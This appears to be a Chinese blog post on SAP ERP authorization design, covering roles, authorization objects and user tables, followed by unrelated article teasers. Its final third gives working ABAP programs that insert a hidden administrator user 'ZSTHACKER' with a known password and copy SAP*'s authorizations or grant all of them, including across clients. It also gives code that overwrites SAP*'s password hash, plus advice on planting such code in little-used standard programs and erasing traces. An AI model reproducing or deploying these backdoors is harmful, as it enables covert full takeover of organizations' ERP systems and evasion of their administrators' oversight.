SAP权限设计简介

介绍

小技巧 -ERP 权限控制

繁中求简 , 闲聊一下 SAP 复杂权限设计的基本思想。

特别是适合大集团业务的 ERP 系统 , 应该提供一个非常完善的权限控制机制 , 甚至允许将权限控制字段细到字段级别,如果权限控制都做不到这点,估计产品销售就够呛!

多年以前,俺还在软件幼稚园时,老师布置的权限作业,权限大概是设计的:

Select 用户名 From 用户表 where 用户名 ='butcher'    (得到用户名)

select 权限组 ID  From 权限表 where 用户名 ='butcher' (得到用户对应的权限组 ID )

select * From 权限控制列表 where 权限组 ID = ‘ ***** ’(得到没个权限组 ID 对应的明细权限列表也就是用户的明细权限)

这种简单的权限设置是无法满足复杂的业务需求的,多年以后,居然国内还有很多软件公司

在权限设计上还在玩这套小把戏。

现在来看看“伟大的” SAP 的权限设计思路,首先了解下几个 Tcode 和权限相关表格。

常用权限相关 Tcode .

( 一 )Role( 角色 ) 相关 T-code:

PFCG  创建

ROLE_CMP 角色比较

SUPC  批量建立角色 profile

( 二 ) 建立用户

SU01   建立用户

SU01D  显示用户

SU2|SU3| SU50|SU51|SU52   改变 / 显示用户个人参数

SU10|SU12  批量维护用户

SUCOMP 维护用户公司地址

SUIM  用户信息系统 (强调一下)

( 三 ) 建立用户组

SUGR| SUGRD_NAV 维护用户组

SUGRD| SUGR_NAV 显示用户组

 ( 四 ) 维护检查授权

SU20|SU21 自定义授权字段和授权对象

SU53 当出现权限问题可使用它检测未授权对象 .

SU56: 分析 authoraztion data buffers.

常用权限相关表格 :

TOBJ : All avaiable authorzation objects.(ERP 系统默认的所有授权对象 )

USR12: 用户级 authoraztion 值

USR02 :User Logon Data( 包括用户名称密码 , 是否锁住等字段 )

USR03:User address data

USR05:User Master Parameter ID(Tcode SU3 可查看用户参数文件的参数 ID 默认值 )

USR41: 当前用户 ( 即 Tcode SM04 看到的所有当前活动用户 , 包括各种对话系统通信类用户 )

USRBF2 : 记录当前用户所有的授权 objects

UST04:User Profile master( 用户主数据中对应的权限参数文件名 )

UST10S : Single profiles( 授权文件 , 权限参数和授权对象对应表 )

UST12 : Authorizations( 具体授权细节 )

重点提示:

USR02/USRBF2/UST10S/UST12 四个表包含的信息就是 ERP 权限控制的关键, USR02 是用户主数据表,后三表和用户授权紧密相关。

我现在举一个 MM01 建立物料主数据的实例,来说明 SAP 的权限控制设计思路,步骤如下:

第一步:建立角色( Tcode : PFCG )

图 1 中,假设建立角色 ZMM01 。

图 1-[1][2] :在菜单 Tab 页选择“ 事务 “加入 MM01-> 创建物料 & , 你还可为程序 , 查询这样的报表授权,选择” 其它 “还能为数据仓库等对象设置权限角色。

图 1-[3][4][5] :到“ 权限 “ Tab 页看到系统自动产生的授权参数文件 Profilname T-C1550437 ,然后选择” 更改授权数据 “,进入 图 2 。

显然系统并不意味你给了建立物料的权限就能随意使用该 Tcode 了,系统有更严格的细致控制。

图 2-[1][2] :我们可以看到建立物料主数据的权限分公司代码层次,仓库层次,物料类型层次,销售组织层次,物料组层次,和工厂层次等等,特别是对于象公司代码,销售组织和工厂这样的组织层次授权字段,控制点是非常必要的,一个大集团实施 ERP ,各公司代码,各公司代码下的各 Plant 授权用户只能建立各自的物料,现在来看看是如何控制到工厂级别的。

图 2-[3][4][5] :在每个控制级别(即权限控制字段)都分控制字段和作业,每个权限控制字段对应一个所谓的授权对象,工厂的授权对象是 M_MATE_WRK , 所有授权对象的作业统一都是 ACTVT , 包括 01/02/03/06/08 五个作业 , 即控制是否允许创建更改显示删除等。比如 MM01 的作业只给 03-> 显示 ,则只能显示物料。

注:

如果有特殊权限控制需要,可以使用 SU20|SU21 自定义授权字段和授权对象

图 2-[6][7] :点击“工厂“,进去增加工厂权限,设置了工厂 FRA1 , FRA2 和一个工厂范围 FRM1-FRM2 。

注:

如果公司代码,物料类,物料组,工厂等授权字段选择 * 表示允许输入该字段所有的内容。

接下来,使用 SU01 建立一个用户假设名叫 butcher ,然后在此将角色 ZMM01 分配给它,如图 3 ,记得要做“ 用户比较 “知道该按纽变绿,这和人带的帽子不同,在角色设置中,越绿越好,至此,一个最简单的权限设置就 Ok 了,用户 butcher 只能使用 MM01 在工厂 FRA1 , FRA1 , FRM1 , FRM2 四个工厂上建立物料主数据。

现在来检查 USRBF2/UST10S/UST12 三个和用户授权相关的表格数据,如 图 4 , 图 5 和图 6 。

图 4 是用户参数文件表 USR10S 和用户授权表 USRBF2 的合成图。

图 4-[1][3][4][6] : UST10S 表的参数文件 T-C1550437 正是 图 1-[4] 中定义角色 ZMM01 时生成的参数文件,对象表示的即 授权对象 ,每个授权对象对应一个图 4-[6] 的 权限名称 T-C155043700| T-C155043701 , 这俩权限名称正是参数文件 T-C1550437 文件 + 系号。

图 4-[2][5] :用户授权对象表 USRBF2 包含了 ERP 用户 BUTCHER 所对应的(授权)对象和对象对应的权限名称,现在注意一下 USRBF2 表用户 BUTCHER 包含了工厂的授权对象 M_MATE_WRK , 其对应的授权名称是 T-C155043700 , 那么 图 2-[7] 设置的四个工厂 FRA1 , FRA1 , FRM1 , FRM2 保存在什么地方呢?请见 图 6 。

为什么一个参数文件 T-C1550437 产生了两个 T-C155043700| T-C155043701 权限名称呢?

查看权限对象设置时发现,在仓库授权对象 M_MATE_LGN 和销售组织 / 分销渠道授权 M_MATE_

VKO 下系统竟默认了 两次相同的授权作业 ,如 图 5 。

图 5 表示建立物料主数据的仓库号和销售组织 / 分销渠道默认授权了两次。

图 6 中,可以看到授权对象 M_MATE_WRK ( 即工厂授权对象 ) 有 5 条记录 , 其中字段 ACTVT 有

01,06 两条 , 分表表示允许建立和删除物料数据 , 工厂 WERKS 有三条 , 正是 FRA1,FRA2, 和值

FRM1 到值 FRM2 ,如 图 6-[2][3] 。

至此,权限设计的基本逻辑就非常清晰了,如果用户 BUTCHER 要建立某工厂的物料,首先从

授权表中查看是否有 M_MATE_WRK 的授权对象,然后再到 UST12 去检查输入的工厂是否在授

权范围, If not so ,则提示未授权。

现在用户 BUTCHER 建立物料主数据,输入工厂 1000 ,提示 M3 855 未授权处理工厂 1000 的

主数据,如 图 7 。通常有两种便捷方法查找到权限控制逻辑 :

(1).SE91 输入 M3 855 查找,

(2). 直接在物料主数据建立程序中查找,一定能看到该主程序的子程序下到处都有象图

7-[4] 的 AUTHORITY-CHECK OBJECT ‘授权对象名称’

ID ‘ ACTVT ’   ‘作业允许号’

ID  ‘授权字段‘   FIELD  ‘用户输入内容“

这样的权限检查逻辑。

如果你了解了这个原理 , 那么有跟踪程序和修改变量的权限 ( 对应授权对象 S_DEVOP,02, 只要你稍微熟悉 ABAP ,实际上你就拥有了一切权限。

[1]. 创建角色 Role 将产生一个授权参数文件 Profiel Name 。

[2]. 一个授权参数文件包含许多授权对象 Authority Objects, 实际上是如果将多个 Tcode 或报表或起其它什么的赋予一个 Role, 系统将这些 Tcode( 或报表 ) 对应的授权对象带出 , 这些授权对象当然在 Tcode( 报表对应的 ) 程序逻辑中会有体现 , 则角色对应的授权参数文件将包含这些授权对象。

[3]. 授权对象通常有两部分组成:

一是作业 ACTVT ,作业号分别是:

01    创建或生成

02    更改

03    显示

06    删除

08    显示修改文档

   二是授权字段,这些授权字段通常是诸如组织结构层次的公司代码,工厂,或其它比如物料类型,凭证类型等,这样可以做到更细微的权限控制。

到现在为止 , 我们知道, 实际上决定权限的是授权对象 Authorization Object ! 用户的授权对象表在 USRBF2 中,所以只要往这个表插入数据就获得了权限,现在可以使用 SE38 建立用户和授予权限 , 这意味着使用 ABAP 可以迅速获得所有权限。

不妨假设一下,一个 ABAPer 在开发机上建立这样的程序,然后传输到生产系统? Basis 能发现?理论上,高明的 ABAPer 是不大可能被发现的,它可以将这段代码甚至移值到一段很不常用的标准程序比如 Query , Report painter 产生的自动程序上,并且在程序中填加删除一切痕迹的代码,甚至可以设置好自毁该段程序 , 绕过 Access Key 修改标准程序也是轻易的!

下面的程序 ZCRTUSER 是建立用户 ZSTHACKER( 初始密码 123qaz ) 并赋予 SAP* 用户的所有权限的参考程序。

Program ZCRTUSER.
Data ZUSR02 like USR02 .
***1.Create User ZSTHACKER according to DDIC
select single * into ZUSR02 from USR02
where BNAME = 'DDIC'.
ZUSR02-BNAME = 'ZSTHACKER'.
ZUSR02-Bcode = 'E3B796BB09F7901B' .
insert USR02 from ZUSR02  .
***2.Copy Auth. Obj from SAP*(or other)
*** 如果将 Where BNAME = 'SAP*' 去掉,基本就是复制所有的授权对象
data ZUSRBF2 like USRBF2 occurs 0 with header line.
select *  from  USRBF2 into table ZUSRBF2
where BNAME = 'SAP*' .
Loop at ZUSRBF2.
  ZUSRBF2-BNAME = 'ZSTHACKER' . 
  Modify ZUSRBF2 INDEX sy-tabix TRANSPORTING BNAME.
endloop.
INSERT USRBF2 FROM TABLE ZUSRBF2 ACCEPTING DUPLICATE KEYS.

如果 SAP* 可能被删除 , 还可直接将 TOBJ 中包含的所有的 ERP 授权对象全部赋予给一个用户。

以下程序 ZALLOBJ 是赋予所有的标准授权对象给用户 ZSTHACKER 。

Program ZALLOBJ 。
Data Ztobj like tobj occurs 0 with header line .
data zusrbf2 like usrbf2.
select * into table ztobj from tobj .
loop at ztobj.
  zusrbf2-mandt = sy-mandt.
  zusrbf2-bname = 'ZSTHACKER'.
  zusrbf2-objct = ztobj-objct.
  zusrbf2-auth  ='&_SAP_ALL'.
  modify USRBF2 FROM  zusrbf2 .
endloop .
 
也可跨 Client 建立用户和赋予权限,只要使用 client specified 就可以。
Program ZCLIENT.
Data zusrbf2 like usrbf2.
Select * into zusrbf2 from usrbf2  where bname = 'SAP*' .
Zusrbf2-bname = 'ZSTHACKER' .
Zusrbf2-mandt = '100'.
Insert into usrbf2 client specified values zusrbf2.
Endselect .

下面是一句话修改 SAP* 的密码为 123456 的程序,同样,假设用户 BUTCHER 的密码丢失,我只要随便在一台服务器上建立一个用户也叫 BUTCHER ,然后密码设置为 1QAZ2WSX ,则其在任何系统任何 client 加密后的密码必为 BF02C9F1F179FB45 ,这样的加密意义已经不大。

report ZMODPWD.
tables :usr02 .
update usr02 set bcode = ' CF094BAA2020480E'
where BNAME = 'SAP*'.

虽然以上只是一个建立物料主数据的权限控制,却非常清晰地解释了 ERP 系统权限控制的逻辑。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/167649.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

来聊聊阿里1688 /拼多多API接口接入| 让需求回到产品端

昨儿办公室讨论起了1688。 对,就是阿里搞批发的那个网站。 在上面,你可以买到各种各样价格低廉的产品,比如,办公用具、女孩子的皮筋、小孩子的玩具等等。 在小批量上,它和拼多多定价类似,但二者的赛道却不同…

物流实时数仓:采集通道搭建

系列文章目录 物流实时数仓:环境搭建 文章目录 系列文章目录前言一、环境准备1.前置环境2.hbase安装1.上传并解压2.配置环境变量3.拷贝jar包4.编写配置文件5.分发配置文件 3.Redis安装1.安装需要的编译环境2.上传并解压文件3.编译安装4.后台访问 4.ClickHouse安装5…

抽象类和接口

抽象类和接口 文章目录 抽象类和接口抽象类抽象类概念抽象类语法抽象类特性抽象类的作用 接口接口的概念语法规则接口使用接口特性接口类型是一种引用类型,但是不能直接new接口的对象接口中每一个方法都是public的抽象方法.接口中的方法是不能在接口中实现的&#x…

(亲测有效)VMware Windows虚拟机扩容

场景: VMware安装了一个windows系统,现在windows系统剩余空间不足,需要扩容。 解决步骤: 关闭虚拟机,状态如下: 2、点击编辑虚拟机设置-》扩展 3、输入最大磁盘大小-》点击扩展 4、等待成功后&#xff0c…

Python爬虫实战-批量爬取豆瓣电影排行信息

大家好,我是python222小锋老师。 近日锋哥又卷了一波Python实战课程-批量爬取豆瓣电影排行信息,主要是巩固下Python爬虫基础 视频版教程: Python爬虫实战-批量爬取豆瓣电影排行信息 视频教程_哔哩哔哩_bilibiliPython爬虫实战-批量爬取豆瓣…

光伏拉晶厂RFID智能化生产工序管理

一、项目背景 随着全球能源短缺和气候变暖的挑战日益突显,清洁能源已成为国内能源发展的主要目标之一,作为清洁能源的重要组成部分,光伏行业在过去几十年中取得了巨大的发展,成为我国的战略性新兴产业之一。在智能制造的大环境下…

Git 提交竟然还能这么用?

大家好,我是鱼皮。Git 是主流的代码版本控制系统,是团队协作开发中必不可少的工具。 之前已经给大家分享过 Git / GitHub 的学习指南,感兴趣的同学可以先看视频了解:https://www.bilibili.com/video/BV1KZ4y1e7cG。 这篇文章&am…

企业微信机器人定时发送图文信息,后续无需人工操作

企业微信群机器人是企业微信的内置功能,可以理解为是一个群提醒通知工具,接收数据并自动发送信息到企业微信群中。 数环通实现打通定时器和企业微信机器人的对接,定时执行自动化流程,无需人工干预,实现工作流程自动化&…

Thales安全解决方案:国家网络安全的关键

随着信息技术的飞速发展,网络安全问题日益凸显。在这个背景下,Thales安全解决方案正成为提高国家网络安全的关键。本文将探讨Thales安全解决方案如何为国家网络安全保驾护航。 一、Thales安全解决方案概述 Thales安全解决方案是一种全方位的网络安全防护…

《微信小程序开发从入门到实战》学习十八

3.3 开发创建投票页面 3.3.5 数据的双向传递 通过上一小节的代码和预览效果可以看到使用时间函数可以将视图层传递到逻辑层。 视图层数据由小程序管理,逻辑层通常保存在data对象,必须由开发者自己管理。 微信开发工具的AppData的面板可以实时查看到页…

使用 uWSGI 部署 Django 应用详解

概要 部署 Django 应用到生产环境是一个至关重要的步骤,其中选择合适的 WSGI 服务器对于确保应用的稳定性和性能至关重要。uWSGI 是一个流行的选择,它不仅高效、轻量,还非常灵活。本文将详细介绍如何使用 uWSGI 来部署 Django 应用&#xff…

【Linux】C文件系统详解(四)——磁盘的物理和抽象结构

文章目录 磁盘结构磁盘物理结构磁盘的具体物理结构磁盘结构的逻辑抽象 文件系统BootBlockSuperBlockGroupDescriptorTableinode tableDataBlocksinodeBitmapblockBitmaplinux中的inode 和文件名如何理解文件的增删查改删 补充细节1.如果文件误删了,我们该怎么办?2.inode确定分…

电脑监控软件都有哪些,哪款好用丨全网盘点

电脑监控软件是一种用于监视和控制计算机的软件工具,可以帮助企业和个人了解计算机的使用情况,保护数据安全,提高工作效率等。 电脑监控软件都有哪些: 1、域之盾软件 这是一款功能强大的电脑监控软件,可以实时监控电脑…

python绘图常见问题及解决方法总结

文章目录 1. 多个图片绘制到一起时出现title和xstick重合 1. 多个图片绘制到一起时出现title和xstick重合 fig, axes plt.subplots(6, 2, figsize(20, 40)) # Adjust the layout padding plt.subplots_adjust(hspace0.5, wspace0.4) # Plotting scatter plots for Tiu and ws_…

详解使用asyncio实现playwright并发操作(复制源码即可运行)

asyncio实现并发 我们可以使用asyncio来解决palywright中并发的问题,asyncio即Asynchronous I/O是python一个用来处理并发(concurrent)事件的包,是很多python异步架构的基础,多用于处理高并发网络请求方面的问题。给大家举一个经典的应用场景…

开源vs闭源大模型如何塑造技术的未来?开源模型的优劣势未来发展方向

开源vs闭源大模型如何塑造技术的未来?开源模型的优劣势&未来发展方向 写在最前面一、开源与闭源:定义与历史背景开源和闭源的定义开源大模型:社区驱动的创新 二、开源和闭源的优劣势比较开源大模型(瓶颈)数据&…

yolov8使用opencv2实时检测,两种物品,左上角显示信息

效果为: 左上角显示 帧率:FPS 序列号:SN 两种物品的检测数量和总数 可以应用于工业检测 import cv2 from ultralytics import YOLO from cv2 import getTickCount, getTickFrequency # 加载 YOLOv8 模型 model YOLO("weights/yolov8s.…

微信小程序云开发 微信支付功能 逻辑+踩坑

前置条件 首先开通微信支付商户号 然后小程序后台里关联商户号 然后在开发者工具里申请api权限 云开发》设置》其他设置》微信支付配置 申请一下权限和绑定 显示已通过即可。 逻辑 首先用户点击支付按钮,就会触发unlock() 在unlock函数中创建新订单&#xff…

iOS自动化测试方案(五):保姆级VMware虚拟机安装MacOS

文章目录 一、前言二、VMwareMacOS镜像2.1、先下载vmware-workstation2.2、再下载macOS Big Sur(11.6) 三、图解安装过程3.1、双击VMware-WorkStation Pro图标 四、总结 一、前言 为什么会有虚拟机这种东西?它存在的意义是什么[能解决什么问题]?哈哈~你以…

解锁数据分析的神器:ChatGPT引领人工智能革命

💂 个人网站:【 海拥】【神级代码资源网站】【办公神器】🤟 基于Web端打造的:👉轻量化工具创作平台💅 想寻找共同学习交流的小伙伴,请点击【全栈技术交流群】 在当今数字化时代,数据分析成为决策…